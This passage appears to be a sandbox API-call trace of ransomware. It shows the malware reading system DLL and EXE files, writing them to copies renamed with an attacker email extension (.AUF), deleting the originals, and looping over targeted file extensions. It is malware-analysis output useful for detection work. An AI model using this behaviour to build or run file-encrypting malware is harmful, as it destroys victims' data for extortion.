Tag\\FPERSON.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0224.093] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.093] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0224.093] GetLastError () returned 0x0 [0224.093] ReadFile (in: hFile=0x1f4, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x35380, lpOverlapped=0x0) returned 1 [0224.245] WriteFile (in: hFile=0x1f8, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x35390, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0x35390, lpOverlapped=0x0) returned 1 [0224.248] ReadFile (in: hFile=0x1f4, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.248] WriteFile (in: hFile=0x1f8, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xea, lpOverlapped=0x0) returned 1 [0224.249] SetEndOfFile (hFile=0x1f8) returned 1 [0224.249] CloseHandle (hObject=0x1f8) returned 1 [0224.249] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.249] SetEndOfFile (hFile=0x1f4) returned 1 [0224.251] CloseHandle (hObject=0x1f4) returned 1 [0224.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.251] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll")) returned 1 [0224.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0224.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0224.251] lstrlenW (lpString=".doc") returned 4 [0224.251] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0224.251] lstrlenW (lpString=".docx") returned 5 [0224.251] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0224.251] lstrlenW (lpString=".pdf") returned 4 [0224.251] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0224.251] lstrlenW (lpString=".xls") returned 4 [0224.251] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0224.251] lstrlenW (lpString=".xlsx") returned 5 [0224.251] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0224.251] lstrlenW (lpString=".ppt") returned 4 [0224.251] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0224.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0224.251] lstrlenW (lpString=".zip") returned 4 [0224.251] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0224.251] lstrlenW (lpString=".rar") returned 4 [0224.251] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0224.251] lstrlenW (lpString=".bz2") returned 4 [0224.251] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0224.251] lstrlenW (lpString=".7z") returned 3 [0224.251] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0224.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0224.251] lstrlenW (lpString=".dbf") returned 4 [0224.251] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0224.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0224.251] lstrlenW (lpString=".1cd") returned 4 [0224.251] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0224.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0224.252] lstrlenW (lpString=".jpg") returned 4 [0224.252] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0224.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0224.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0224.252] lstrlenW (lpString=".doc") returned 4 [0224.252] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0224.252] lstrlenW (lpString=".docx") returned 5 [0224.252] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0224.252] lstrlenW (lpString=".pdf") returned 4 [0224.252] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0224.252] lstrlenW (lpString=".xls") returned 4 [0224.252] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0224.252] lstrlenW (lpString=".xlsx") returned 5 [0224.252] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0224.252] lstrlenW (lpString=".ppt") returned 4 [0224.252] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0224.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0224.252] lstrlenW (lpString=".zip") returned 4 [0224.252] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0224.252] lstrlenW (lpString=".rar") returned 4 [0224.252] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0224.252] lstrlenW (lpString=".bz2") returned 4 [0224.252] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0224.252] lstrlenW (lpString=".7z") returned 3 [0224.252] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0224.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0224.252] lstrlenW (lpString=".dbf") returned 4 [0224.252] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0224.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0224.252] lstrlenW (lpString=".1cd") returned 4 [0224.252] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0224.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0224.252] lstrlenW (lpString=".jpg") returned 4 [0224.252] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0224.252] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0224.252] lstrlenW (lpString="METCONV.DLL") returned 11 [0224.252] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0224.253] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=110976) returned 1 [0224.253] CloseHandle (hObject=0x1f4) returned 1 [0224.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll")) returned 0x20 [0224.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.254] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0224.254] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.254] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.254] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0224.254] GetLastError () returned 0x0 [0224.254] ReadFile (in: hFile=0x1f4, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x1b180, lpOverlapped=0x0) returned 1 [0224.514] WriteFile (in: hFile=0x1f8, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x1b190, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0x1b190, lpOverlapped=0x0) returned 1 [0224.516] ReadFile (in: hFile=0x1f4, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.516] WriteFile (in: hFile=0x1f8, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xea, lpOverlapped=0x0) returned 1 [0224.516] SetEndOfFile (hFile=0x1f8) returned 1 [0224.681] CloseHandle (hObject=0x1f8) returned 1 [0224.681] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.681] SetEndOfFile (hFile=0x1f4) returned 1 [0224.682] CloseHandle (hObject=0x1f4) returned 1 [0224.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.683] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll")) returned 1 [0225.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL") returned 68 [0225.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL") returned 68 [0225.202] lstrlenW (lpString=".doc") returned 4 [0225.202] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0225.202] lstrlenW (lpString=".docx") returned 5 [0225.202] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0225.202] lstrlenW (lpString=".pdf") returned 4 [0225.202] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0225.202] lstrlenW (lpString=".xls") returned 4 [0225.202] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0225.202] lstrlenW (lpString=".xlsx") returned 5 [0225.202] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0225.202] lstrlenW (lpString=".ppt") returned 4 [0225.202] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0225.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL") returned 68 [0225.202] lstrlenW (lpString=".zip") returned 4 [0225.202] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0225.202] lstrlenW (lpString=".rar") returned 4 [0225.202] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0225.202] lstrlenW (lpString=".bz2") returned 4 [0225.202] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0225.202] lstrlenW (lpString=".7z") returned 3 [0225.202] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0225.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL") returned 68 [0225.202] lstrlenW (lpString=".dbf") returned 4 [0225.202] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0225.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL") returned 68 [0225.202] lstrlenW (lpString=".1cd") returned 4 [0225.202] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0225.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL") returned 68 [0225.202] lstrlenW (lpString=".jpg") returned 4 [0225.202] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0225.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL") returned 68 [0225.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL") returned 68 [0225.203] lstrlenW (lpString=".doc") returned 4 [0225.203] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0225.203] lstrlenW (lpString=".docx") returned 5 [0225.203] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0225.203] lstrlenW (lpString=".pdf") returned 4 [0225.203] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0225.203] lstrlenW (lpString=".xls") returned 4 [0225.203] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0225.203] lstrlenW (lpString=".xlsx") returned 5 [0225.203] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0225.203] lstrlenW (lpString=".ppt") returned 4 [0225.203] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0225.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL") returned 68 [0225.203] lstrlenW (lpString=".zip") returned 4 [0225.203] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0225.203] lstrlenW (lpString=".rar") returned 4 [0225.203] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0225.203] lstrlenW (lpString=".bz2") returned 4 [0225.203] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0225.203] lstrlenW (lpString=".7z") returned 3 [0225.203] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0225.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL") returned 68 [0225.203] lstrlenW (lpString=".dbf") returned 4 [0225.203] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0225.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL") returned 68 [0225.203] lstrlenW (lpString=".1cd") returned 4 [0225.203] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0225.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL") returned 68 [0225.203] lstrlenW (lpString=".jpg") returned 4 [0225.203] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0225.203] lstrcmpiW (lpString1=".EXE", lpString2=".AUF") returned 1 [0225.203] lstrlenW (lpString="OSE.EXE") returned 7 [0225.203] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0225.204] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=174440) returned 1 [0225.204] CloseHandle (hObject=0x16c) returned 1 [0225.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 0x20 [0225.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.204] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0225.204] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.204] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.204] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0225.205] GetLastError () returned 0x0 [0225.205] ReadFile (in: hFile=0x16c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x2a968, lpOverlapped=0x0) returned 1 [0225.208] WriteFile (in: hFile=0x184, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0225.210] ReadFile (in: hFile=0x16c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.210] WriteFile (in: hFile=0x184, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0225.210] SetEndOfFile (hFile=0x184) returned 1 [0225.211] CloseHandle (hObject=0x184) returned 1 [0225.211] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.211] SetEndOfFile (hFile=0x16c) returned 1 [0225.212] CloseHandle (hObject=0x16c) returned 1 [0225.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.214] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 1 [0225.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE") returned 68 [0225.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE") returned 68 [0225.214] lstrlenW (lpString=".doc") returned 4 [0225.214] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0225.214] lstrlenW (lpString=".docx") returned 5 [0225.214] lstrcmpiW (lpString1=".docx", lpString2="E.EXE") returned -1 [0225.214] lstrlenW (lpString=".pdf") returned 4 [0225.214] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0225.214] lstrlenW (lpString=".xls") returned 4 [0225.214] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0225.214] lstrlenW (lpString=".xlsx") returned 5 [0225.214] lstrcmpiW (lpString1=".xlsx", lpString2="E.EXE") returned -1 [0225.214] lstrlenW (lpString=".ppt") returned 4 [0225.214] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0225.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE") returned 68 [0225.214] lstrlenW (lpString=".zip") returned 4 [0225.214] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0225.214] lstrlenW (lpString=".rar") returned 4 [0225.214] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0225.214] lstrlenW (lpString=".bz2") returned 4 [0225.215] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0225.215] lstrlenW (lpString=".7z") returned 3 [0225.215] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0225.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE") returned 68 [0225.215] lstrlenW (lpString=".dbf") returned 4 [0225.215] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0225.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE") returned 68 [0225.215] lstrlenW (lpString=".1cd") returned 4 [0225.215] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0225.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE") returned 68 [0225.215] lstrlenW (lpString=".jpg") returned 4 [0225.215] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0225.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE") returned 68 [0225.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE") returned 68 [0225.215] lstrlenW (lpString=".doc") returned 4 [0225.215] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0225.215] lstrlenW (lpString=".docx") returned 5 [0225.215] lstrcmpiW (lpString1=".docx", lpString2="E.EXE") returned -1 [0225.215] lstrlenW (lpString=".pdf") returned 4 [0225.215] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0225.215] lstrlenW (lpString=".xls") returned 4 [0225.215] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0225.215] lstrlenW (lpString=".xlsx") returned 5 [0225.215] lstrcmpiW (lpString1=".xlsx", lpString2="E.EXE") returned -1 [0225.215] lstrlenW (lpString=".ppt") returned 4 [0225.215] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0225.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE") returned 68 [0225.215] lstrlenW (lpString=".zip") returned 4 [0225.215] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0225.215] lstrlenW (lpString=".rar") returned 4 [0225.215] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0225.215] lstrlenW (lpString=".bz2") returned 4 [0225.215] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0225.215] lstrlenW (lpString=".7z") returned 3 [0225.215] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0225.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE") returned 68 [0225.215] lstrlenW (lpString=".dbf") returned 4 [0225.215] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0225.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE") returned 68 [0225.215] lstrlenW (lpString=".1cd") returned 4 [0225.215] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0225.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE") returned 68 [0225.215] lstrlenW (lpString=".jpg") returned 4 [0225.215] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0225.215] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0225.215] lstrlenW (lpString="MSCONV97.DLL") returned 12 [0225.216] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0225.216] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=146808) returned 1 [0225.216] CloseHandle (hObject=0x16c) returned 1 [0225.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll")) returned 0x20 [0225.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.216] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0225.216] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.216] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.216] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 